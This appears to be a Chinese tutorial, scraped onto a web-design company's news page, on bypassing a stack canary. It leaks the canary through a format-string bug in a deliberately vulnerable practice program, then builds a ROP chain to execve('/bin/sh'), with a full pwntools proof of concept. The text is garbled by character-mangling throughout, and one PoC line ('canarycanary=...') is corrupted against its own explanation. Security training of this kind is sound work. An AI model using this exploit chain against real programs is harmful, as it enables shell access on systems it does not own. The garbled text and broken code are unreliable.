新聞中心
1. 引言

成都做網(wǎng)站、網(wǎng)站設(shè)計(jì)、外貿(mào)營(yíng)銷網(wǎng)站建設(shè)服務(wù)團(tuán)隊(duì)是一支充滿著熱情的團(tuán)隊(duì),執(zhí)著、敏銳、追求更好,是創(chuàng)新互聯(lián)的標(biāo)準(zhǔn)與要求,同時(shí)竭誠為客戶提供服務(wù)是我們的理念。創(chuàng)新互聯(lián)把每個(gè)網(wǎng)站當(dāng)做一個(gè)產(chǎn)品來開發(fā),精雕細(xì)琢,追求一名工匠心中的細(xì)致,我們更用心!
我們?cè)趯W(xué)ropgadgets與ret2syscall技術(shù)原理時(shí),構(gòu)造指令流時(shí),是沒有加堆棧保護(hù)的,比如下面的程序:
文件名:7.c
- #include
- #include
- #include
- #include
- #include
- void exploit()
- {
- system("/bin/sh");
- }
- void func()
- {
- char str[0x20];
- read(0,str,0x50);
- printf(str);
- read(0,str,0x50);
- }
- int main()
- {
- func();
- return 0;
- }
我們是這樣編譯的,是沒有加堆棧保護(hù)的,之后再利用ropgadgets構(gòu)造指令流,就可以成功去執(zhí)行execve(“/bin/sh”,null,null);。
- gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
如果加上堆棧保護(hù)我們?cè)撛趺催^呢?像下面這樣編譯:
- gcc -no-pie -fstack-protector -static -m32 -o 7.exe 7.c
顯然我們就不能像原來一樣構(gòu)造指令流了,因?yàn)榧尤肓硕褩1Wo(hù)。那我們?cè)撛趺崔k呢?我們可以利用格式化輸出,將canary打印出來,然后再進(jìn)行指令的組裝。
2. 找地址
調(diào)試我們的程序,找到canary的地址,地址在:0xffffcfac
繼續(xù)調(diào)試,直到printf,我們看看現(xiàn)在canary據(jù)棧頂?shù)奈恢茫?060,除以4等于15,說明傳給第一個(gè)read函數(shù)的值為:%15$08x,就可以將canary打印出來了
重新調(diào)試,找到read函數(shù)把讀進(jìn)來的數(shù)據(jù)存放的地址:0xffffcf8c
將%15$08x給read函數(shù),發(fā)現(xiàn)可以將canary打印出來
接下來就是利用好第二個(gè)read函數(shù)來構(gòu)造rop鏈了。
3. 構(gòu)造rop鏈
linux上系統(tǒng)調(diào)用原理:
- eax 系統(tǒng)調(diào)用號(hào)
- ebx 第一個(gè)參數(shù)
- ecx 第二個(gè)參數(shù)
- edx 第三個(gè)參數(shù)
- esi 第四個(gè)參數(shù)
- edi 第五個(gè)參數(shù)
- int 0×80
所以eax就存放execve函數(shù)的系統(tǒng)調(diào)用號(hào)11,ebx存放第一個(gè)參數(shù)/bin/sh,ecx存放第二個(gè)參數(shù)null,就是0,edx存放第三個(gè)參數(shù),也是0
- ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"
地址用:0x080b8546
- ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
地址為:0x0806f210
- ROPgadget --binary ./7.exe --string "/bin/sh"
地址用:0x080bbd80
- ROPgadget --binary ./7.exe --only "int"|grep "0x80"
地址為:0x0806ce37
4. 寫出poc
- from pwn import *
- context(arch="i386",os="linux")
- p=process('./7.exe')
- p.sendline("%15$08x")
- canary=p.recv()[:8]
- print(canary)
- canarycanary=canary.decode("hex")[::-1]
- coffset=4*8
- roffset=3*4
- add_eax=p32(0x080b8546)
- value_eax=p32(0xb)
- add_edx_ecx_ebx=p32(0x0806f210)
- value_ebx=p32(0x080bbd80)
- value_ecx=p32(0)
- value_edx=p32(0)
- add_int=p32(0x0806ce37)
- payload=coffset*'a'+canary+roffset*'a'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
- p.sendline(payload)
- p.interactive()
從from pwn import *到canary=canary.decode(“hex”)[::-1]都是為了找出canary,因?yàn)榧恿硕褩1Wo(hù),我們不能直接把數(shù)據(jù)打入到堆棧中,所以要先找出canary,然后構(gòu)造payload,我們要把canary加進(jìn)去,過堆棧保護(hù),再在后面加上我們的rop鏈。
執(zhí)行成功
5. 總結(jié)
開啟了堆棧保護(hù),加入了cookie,一旦我們破壞了堆棧,會(huì)引起系統(tǒng)保護(hù),出現(xiàn)異常。但是我們還是需要構(gòu)造我們的指令流,我們可以利用格式化輸出,將canary打印出來,接下來我們可以利用讀寫函數(shù),構(gòu)造一個(gè)指令流,我們先去讀,看一下堆棧的canary在哪里,然后我們canary搞出來,把canary再回填進(jìn)去,進(jìn)行組裝,這樣就即可以過堆棧保護(hù),也可以構(gòu)造我們的指令流了。
網(wǎng)站欄目:構(gòu)造帶有堆棧保護(hù)的指令流
標(biāo)題路徑:http://www.5511xx.com/article/djiposg.html


咨詢
建站咨詢
